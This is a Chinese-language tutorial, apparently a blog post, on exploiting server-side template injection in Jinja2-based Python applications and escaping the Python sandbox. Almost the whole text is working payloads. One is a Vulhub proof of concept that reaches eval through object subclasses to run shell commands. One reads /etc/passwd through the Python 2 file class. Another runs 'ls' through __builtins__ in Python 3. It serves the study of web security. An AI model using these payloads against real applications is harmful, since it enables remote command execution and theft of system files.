漏洞利用
前几篇文章分析了ssti漏洞的成因,以及一些常用过得payload
获取eval函数执行任意代码测试
Vulhub上的ssti文档是直接给了个获取eval函数并执行任意python代码的POC
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
python沙盒逃逸
利用python特殊方法bypass沙盒
一、用file对象读取文件(python2)
构造继承链的思路是
- 随便找一个内置类对象用class拿到他所对应的类
- 用bases拿到基类(<class 'object'>)
- 用subclasses()拿到子类列表
- 在子类列表中直接寻找可以利用的类
().\_\_class__.\_\_bases\_\_[0].\_\_subclasses__()
在这堆列表里找到file对应的对象:利用小脚本
t = ().__class__.__bases__[0].__subclasses__()
for c in t:
if c.__name__ == 'file':
print t.index(c)
现在用dir查看file对象的内置方法:
利用readlines方法读取/etc/passwd文件
().\_\_class__.\_\_bases\_\_[0].\_\_subclasses__()[40]('/etc/passwd').readlines
故可以构造ssti payload
{% for c in ().__class__.__bases__[0].__subclasses__():%}
{% if c.__name__ == 'file':%}
{{"Success! File contents is <br />"}}
{% c('/etc/passwd').readlines() %}
{% endif %}
{% endfor %}
以上方法只适用于python2,在python3<type 'file'>已不存在
二、寻找__builtins__中的eval
上面file对象只能Python2使用,那么如果遇上Python3该怎么办呢。
关于__builtins__,本文之前介绍python特殊方法是提到过,它包含了python的内置函数,而eval正在里面。所以只要找到eval,管他python2、python3,盘就完事了。
分别用python2、python3运行下面代码,找出含__builtins__的类,找一个python2、3共有的类
for c in ().__class__.__bases__[0].__subclasses__():
try: #这里代码为啥要用try呢,因为不是每个对象都有\_\_globals__
if '__builtins__' in c.__init__.__globals__.keys():
print(c.name)
except:
pass
如:_IterationGuard
类是python 2、3共有的,则可以构造下面payload,执行ls命令
{% for c in ().__class__.__bases__[0].__subclasses__(): %}
{% if c.__name__ == '_IterationGuard': %}
{{c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()") }}
{% endif %}
{% endfor %}